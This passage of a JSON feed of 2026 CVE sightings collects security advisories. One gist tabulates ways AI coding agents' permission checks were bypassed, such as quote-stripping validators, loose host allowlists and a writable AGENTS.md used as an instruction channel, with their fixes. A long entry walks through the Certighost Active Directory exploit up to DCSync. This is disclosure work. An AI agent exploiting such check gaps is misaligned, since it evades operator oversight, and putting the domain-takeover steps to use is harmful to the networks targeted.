threads.\n\n**Remediation Steps:**\n1. Identify all internal services and libraries that depend on the `sqlparse` Python package.\n2. Update your project's dependency definition file (e.g., `requirements.txt`, `Pipfile`, or `pyproject.toml`) to reference `sqlparse>=0.6.0`.\n3. Rebuild and redeploy application containers to apply the updated library package.\n4. Verify the patch execution by running a regression test using a moderately nested SQL test case to ensure parsing completes instantaneously.\n\n## References\n\n- [Fix Commit in andialbrecht/sqlparse Repository](https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54284) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-18T12:32:39.575281Z"}, {"uuid": "d47dc552-4bdc-4f31-8b24-23e8a1ce21fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "Telegram/IqAYll4ZzjxpeZQ_8CUvuT_fob3B5lJjEUBfv2EUXY56hck", "content": "", "creation_timestamp": "2026-05-27T21:12:27.000000Z"}, {"uuid": "c4b947df-96c5-4dea-a62e-f5d9022911cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54457", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtn6lcglwb2l", "content": "\ud83d\udfe0 CVE-2026-54457 - High (7.7)\n\nTensorZero is an open-source LLMOps platform that unifies an LLM gateway, observability, evaluati...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54457/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-22T02:01:45.966492Z"}, {"uuid": "f366e7f1-741d-42b2-8232-42563a60d19b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://t.me/CyberDispatch/1738", "content": "Attackers exploited CVE-2026-5426 in the KnowledgeDeliver LMS to gain unauthenticated RCE through hard-coded ASP-NET machineKeys, deploy the Godzilla (BLUEBEAM) web shell, and deliver Cobalt Strike Beacon on vulnerable internet-facing systems.", "creation_timestamp": "2026-08-29T20:00:14.725923Z"}, {"uuid": "f41fd396-ca97-472b-ba53-cd06fe74109b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54348", "type": "seen", "source": "https://gist.github.com/alon710/af2c8d3762565eaa4715277e9dc15159", "content": "# CVE-2026-54348: CVE-2026-54348: Second-Order SQL Injection in Froxlor API Layer\n\n> **CVSS Score:** 7.2\n> **Published:** 2026-08-18\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54348\n\n## Summary\nAn authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.\n\n## TL;DR\nA high-severity second-order SQL injection in Froxlor allows authenticated administrative users to store malicious SQL payloads in admin profiles. When those profiles are queried by specific API actions, the unsanitized payload executes directly against the database, enabling complete database exfiltration. This issue is fully patched in Froxlor version 2.3.8.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-89\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1**: 7.2 (High)\n- **EPSS Score**: N/A\n- **Impact**: High (Confidentiality, Integrity, Availability)\n- **Exploit Status**: Proof of Concept (PoC) documented\n- **KEV Status**: Not listed on CISA KEV\n\n## Affected Systems\n\n- Froxlor Server Management Control Panel\n- **Froxlor**: < 2.3.8 (Fixed in: `2.3.8`)\n\n## Mitigation\n\n- Upgrade to Froxlor version 2.3.8 or higher\n- Audit administrative accounts and restrict 'change_serversettings' permissions to highly trusted users\n- Perform manual database queries to audit stored 'panel_admins.ip' parameters for anomalies\n\n**Remediation Steps:**\n1. 1. Back up the existing Froxlor database and configuration files.\n2. 2. Update the Froxlor installation to version 2.3.8 using the official package manager or git repository.\n3. 3. Run database consistency checks to clean up any orphaned or corrupted administrative settings.\n4. 4. Verify the patch is applied by checking that the 'ip' validation functions use 'array_map(\"intval\")' and 'array_filter()'.\n\n## References\n\n- [GHSA-w27m-rmmf-g5w4: Second-order SQL injection in Froxlor API layer](https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4)\n- [Froxlor Fix Commit a1eaca5a1601c8a30e00814a4fc73ad0c185f89e](https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e)\n- [Froxlor Release 2.3.8](https://github.com/froxlor/froxlor/releases/tag/2.3.8)\n- [NVD - CVE-2026-54348](https://nvd.nist.gov/vuln/detail/CVE-2026-54348)\n- [CVE.org Record](https://www.cve.org/CVERecord?id=CVE-2026-54348)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54348) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-19T13:32:06.783302Z"}, {"uuid": "bb4251dd-6393-4894-bc76-45cf860b9bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54682", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmkg6nguo2r", "content": "\ud83d\udfe0 CVE-2026-54682 - High (8.2)\n\nDiscordChatExporter saves Discord chat logs to a file. Prior to 2.47.2, HTML exports generated wi...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54682/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T20:00:59.475092Z"}, {"uuid": "b83ea308-7768-45d4-bb0a-021a98cafa28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "seen", "source": "https://t.me/GithubRedTeam/96685", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BiiTts\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 01:47:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC + analysis for CVE-2026-54917 \u2014 SeaweedFS S3 gateway cross-bucket path traversal (CVSS 10.0, <4.30). Read/write any bucket via .. in the object key.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T03:00:05.262233Z"}, {"uuid": "2db73ecb-4695-4d45-9d3b-e473691e81e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54071", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmkgfcefx24", "content": "\ud83d\udfe0 CVE-2026-54071 - High (7.8)\n\nBabelDOC is a document translation tool. Prior to 0.6.3, BabelDOC's vendored PDF parser in babeld...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54071/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T20:01:06.692609Z"}, {"uuid": "8f543bdd-8db2-446d-9c95-e066032591b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mtedtza7kc2q", "content": "Certighost and the Privilege Hiding in Your Certificate Authority\n\nCVE-2026-54121 lets a standard domain user turn your Enterprise CA into a Domain Controller. The patch is the easy part. The lesson is standing privilege, implicit trust, and treating PKI as the Tier 0 identity inf\u2026\n#hackernews #news", "creation_timestamp": "2026-08-18T13:42:09.282171Z"}, {"uuid": "a52242bb-f497-4ece-ae19-4d358c9d268c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/117116919234455650", "content": "Micropatches released for \"Certighost\" Active Directory Certificate Services Elevation of Privilege (CVE-2026-54121) https://0patch.com/blog/micropatches-released-for-certighost-active-directory-certificate-services-elevat", "creation_timestamp": "2026-08-18T14:12:47.307398Z"}, {"uuid": "8deba06f-0027-487b-b3b1-1b05e81488ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3msd4mtz5h42z", "content": "We reproduced Certighost (CVE-2026-54121) end to end in a controlled lab\n\nThe vulnerability allows a low-privileged domain user to obtain a certificate for a Domain Controller, authenticate as t\u2026\n\n\ud83d\udd01 RT @nextronresearch | reposted by @cyb3rops\nhttps://x.com/nextronresearch/status/2084915824918171653", "creation_timestamp": "2026-08-05T08:35:01.738183Z"}, {"uuid": "50db1749-bce7-43f3-b908-4090bbf559ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54071", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mtmpk6hode2j", "content": "BabelDOC 0.6.3\u672a\u6e80\u3067\u306f\u3001PDF\u5185\u306e\u60aa\u610f\u3042\u308b\u30c7\u30fc\u30bf\u306b\u3088\u308a\u3001\u4efb\u610f\u306ePython\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306b\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-54071 CVSS 7.8 | HIGH", "creation_timestamp": "2026-08-21T21:32:41.387956Z"}, {"uuid": "d3b5889e-02b3-47fe-8a8f-3a10bebe686e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5450", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmybsoqyw42h", "content": "\ud83d\udd12 Glibc CVE-2026-5450 9.8\n\nA critical vulnerability, CVE-2026-5450 (CVSS 9.8), has been identified in the GNU C Library (glibc) versions 2.7 through 2.43. This off-by-one heap buffe...\n\nhttps://tinyurl.com/3ymfkwxc #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-29T10:02:29.684098Z"}, {"uuid": "baebce5c-ae60-4100-8904-8e0a57b2180b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3msurqabwxt26", "content": "CVE-2026-54984: RCE in Windows ICC Parser, but the Vector Is Local", "creation_timestamp": "2026-08-12T09:07:59.239853Z"}, {"uuid": "49177872-221c-4d04-84fa-9190a4c57559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmywkdlvkc27", "content": "\ud83d\udea8 Alerta de #Ciberseguridad: Explotaci\u00f3n Zero-Day CVE-2026-5426 en LMS \"KnowledgeDeliver\" www.newstecnicas.com/2026/05/aler...", "creation_timestamp": "2026-05-29T16:13:41.839400Z"}, {"uuid": "c9043b24-aea6-4fa2-b5db-7ee7aedd69ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mmzowr45uv2z", "content": "A high-severity flaw (CVE-2026-5426, CVSS 7.5) in Japan's Digital Knowledge KnowledgeDeliver LMS was exploited as a zero-day to deploy a Godzilla web shell and Cobalt Strike. Now patched.", "creation_timestamp": "2026-05-29T23:30:05.279524Z"}, {"uuid": "25b19b0a-8c9d-44db-9faf-c2b6918252f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54489", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mskt6cv4as2o", "content": "\ud83d\udccc CVE-2026-54489 - Dell Virtual Storage Integrator for VMware vSphere Client, versions prior to 10.11.1.0, contain(s) a Sensitive Information Disclosure vulnerability. A... https://www.cyberhub.blog/cves/CVE-2026-54489", "creation_timestamp": "2026-08-08T10:07:07.335204Z"}, {"uuid": "88c39e30-58bf-469d-a6f7-7528330d4ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54284", "type": "seen", "source": "https://bsky.app/profile/whatsnew.fyi/post/3mtl3njfz3o25", "content": "dbt Core v1.12.3\n\nRequire sqlparse>=0.5.5,<0.7.0 to fix CVE-2026-54284, CVE-2026-59893, CVE-2026-59894 and CVE-2026-71491 parser denial-of-service vulnerabilities", "creation_timestamp": "2026-08-21T06:03:59.466430Z"}, {"uuid": "869fe100-8e09-475a-a53a-90f743e51c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3msdi5gc7w22g", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-54369 impacts libacl in 5 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/652\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-08-05T12:01:08.460427Z"}, {"uuid": "72f8acfe-b6b9-4121-a007-38102b00d766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/pphm_HackerNews/2359", "content": "\ud83d\udd34 Certighost' Flaw Haunts Microsoft Active Directory Certificates\n\nResearchers released a proof-of-concept (PoC) exploit for a now-patched flaw in Microsoft's Active Directory Certificate Services (AD CS) that can allow a low-privileged domain user to impersonate a domain controller and fully compromise an AD environment. The flaw was present due to a defective trust boundary within the certificate-based client authentication aspect of Microsoft AD Services.\n\nIn its July raft of a record 622 Patch Tuesday updates, Microsoft patched a flaw tracked as CVE-2026-54121, which the researchers who discovered and exploited it \u2014 Aniq Fakhrul and Muhammad Ali \u2014 called \"Certighost,\" according to a post by the researchers on GitHub.", "creation_timestamp": "2026-08-21T23:00:07.380656Z"}, {"uuid": "8bf2026f-47bc-4e83-8c59-af88399b3bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-23", "content": "", "creation_timestamp": "2026-08-12T12:45:15.265479Z"}, {"uuid": "89b4ac85-d910-4094-b71e-7cdd527571a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-23", "content": "", "creation_timestamp": "2026-08-12T12:45:20.293619Z"}, {"uuid": "cd03e710-8b3a-4228-b2f1-742568066396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mndist3yut24", "content": "\ud83d\udccc CVE-2026-5463 - Command injection vulnerability in console.run_module_with_output() in pymetasploit3 through version 1.0.6 allows attackers to inject newline characte... https://www.cyberhub.blog/cves/CVE-2026-5463", "creation_timestamp": "2026-06-02T21:07:08.029716Z"}, {"uuid": "24dd7fe8-ce36-4bdc-9108-3c827fef0d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-23", "content": "", "creation_timestamp": "2026-08-12T12:45:56.680226Z"}, {"uuid": "5a19da26-38e5-4de7-8dcb-77795e710e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54316", "type": "seen", "source": "https://gist.github.com/dev-krish-xyz/7604ca4e2ca8081e4e1481b4aa8e3585", "content": "\n| Product | Identifier | What Disagreed | Fixed In |\n|---|---|---|---|\n| claude-code-action | *None located* | Validator stripped single-quoted spans;git read them as a program path | Explicit git-push allowlist;most Bash tools removed |\n| claude-code | *None located* | Literal `/proc/self/environ` guardvs. the shell's quote removal | Step Summary output sanitized |\n| claude-code | CVE-2026-54316 | `huggingface.co` approved as a barehostname vs. every path under it | 2.1.163 |\n| Gemini CLI | CVE-2026-12537GHSA-wpqr-6v78-jr5g | `startsWith(\"run_shell_command(\")` vs. restriction inside parens;sanitized child env vs. shared PID namespace | 0.39.1run-gemini-cli 0.1.22 |\n| codex-action | None assigned | The prompt as the instruction channelvs. a writable `AGENTS.md` | Separate jobs, independent checkouts;`AGENTS.md` read-only |\n| claude-code-action | \u2014 | `endsWith(\"[bot]\")` vs. an actualpermission check | v1.0.94 |\n", "creation_timestamp": "2026-08-08T12:00:31.324584Z"}, {"uuid": "8c17aba0-8a6a-42f6-a071-57b4708ae8c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54123", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-23", "content": "", "creation_timestamp": "2026-08-12T12:47:29.449854Z"}, {"uuid": "d0dc59b3-d00d-49c6-9b29-2f5811b55737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5422", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnh5txx6zf2q", "content": "\ud83d\udfe0 CVE-2026-5422 - High (8.1)\n\nA path traversal vulnerability exists in jupyter-server version 2.17.0 due to an incorrect root d...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5422/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-04T08:01:34.714445Z"}, {"uuid": "0c6ffecc-c4b2-4b23-b76a-9fda7c640442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/0x25bit/e64a2e1e1a90c5bbcfc7ddff7480fddd", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by 